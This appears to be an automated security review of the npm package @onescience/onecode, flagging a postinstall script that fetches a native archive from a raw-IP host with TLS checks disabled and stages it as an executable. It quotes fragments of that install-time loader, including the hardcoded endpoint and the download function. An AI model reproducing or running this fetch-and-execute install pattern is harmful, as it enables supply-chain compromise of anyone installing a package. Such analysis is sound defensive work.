## Security analysis

### Published attack-surface review

- **Summary:** npm postinstall fetches an unauthenticated remote platform archive, extracts it into node\_modules, and stages its executable. It also links hidden agent-related asset directories from that archive into the package root.

- **Trigger:** npm install; staged binary runs when the onecode CLI is invoked.

- **Impact:** A network attacker or archive host can supply the native CLI and agent assets installed for the package.

- **Evidence paths:** package.json, postinstall.mjs, platform-bootstrap.mjs, bin/onecode

- **Review source:** ai\_review

- **Reviewed:** 2026-08-14T05:05:07.652Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** TLS-bypassed remote native payload download and install-time asset symlinking.

- **Rationale:** The package stages a remotely supplied native executable during installation without TLS verification or integrity validation. This is a concrete high-risk payload carrier, but the visible JavaScript alone does not prove malicious archive behavior.

- **Files touched:** postinstall.mjs, platform-bootstrap.mjs, bin/.onecode, node\_modules/onecode-linux-x64, .platform-bootstrap-work, .opencode, .oneskills, .platform-version

- **Network endpoints:** https://218.90.133.98:4443/onecode\_tgz

### Review decision

- **Verdict:** Suspicious

- **Confidence:** 96.0%

- **Recommended action:** downgrade\_to\_warn

- **Intent class:** Critical Vulnerability

- **False-positive risk:** Low

- **Evidence for:** postinstall invokes the platform bootstrap during npm installation., The bootstrap downloads a versioned native archive from a raw-IP HTTPS endpoint or environment override., TLS certificate validation is explicitly disabled for that download., The downloaded archive is extracted and its native binary is made executable., Install-time code creates .opencode and .oneskills symlinks from archive content.

- **Evidence against:** Visible JavaScript contains no credential harvesting or data-exfiltration logic., The launcher executes the resolved binary only when the user invokes the CLI., Source does not establish the contents or behavior of the remote archive.

Install-time source downloads a native archive from a fixed external host without transport verification, extracts it, and installs an executable payload.

Public source snippet (untrusted):

```json
scripts.postinstall = node ./postinstall.mjs
Install-time code downloads an unverified remote native archive, stages it locally, activates an executable path, and exposes it to process execution.
L10: import os from "os"
L11: import https from "https"
L12: import { fileURLToPath } from "url"
...
L15: const product = "onecode"
L16: const DEFAULT_TGZ_BASE = "https://218.90.133.98:4443/onecode_tgz"
L17: 
...
L78: const binaryName = detectPlatformAndArch().platform === "windows" ? `${product}.exe` : product

- **Public source:** [View source](<https://unpkg.com/@onescience/onecode@1.14.50-202608141255/platform-bootstrap.mjs>)

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = normalized_sha256
matchedPackage = @onescience/onecode@1.14.50-202607281613
matchedPath = platform-bootstrap.mjs
matchedIdentity = npm:QG9uZXNjaWVuY2Uvb25lY29kZQ:1.14.50-202607281613
similarity = 1.000
summary = normalized source hash matched finalized malicious source
```

### 10. Medium: Suspicious Lifecycle Evidence

- **Confidence:** 96.0%
- **Path:** postinstall.mjs
- **Public source:** [View source](<https://unpkg.com/@onescience/onecode@1.14.50-202608141255/postinstall.mjs>)

postinstall invokes the platform bootstrap during npm installation.

Public source snippet (untrusted):

```javascript
await ensurePlatformBinary(rootDir)
```

Public source snippet (untrusted):

```javascript
const product = "onecode"
const DEFAULT_TGZ_BASE = "https://218.90.133.98:4443/onecode_tgz"

```javascript
function downloadFile(url, dest) {
  return new Promise((resolve, reject) => {
    const file = fs.createWriteStream(dest)
    const req = https.get(url, { rejectUnauthorized: false }, (res) => {
      if (res.statusCode === 301 || res.statusCode === 302) {
        file.close()
        fs.unlinkSync(dest)
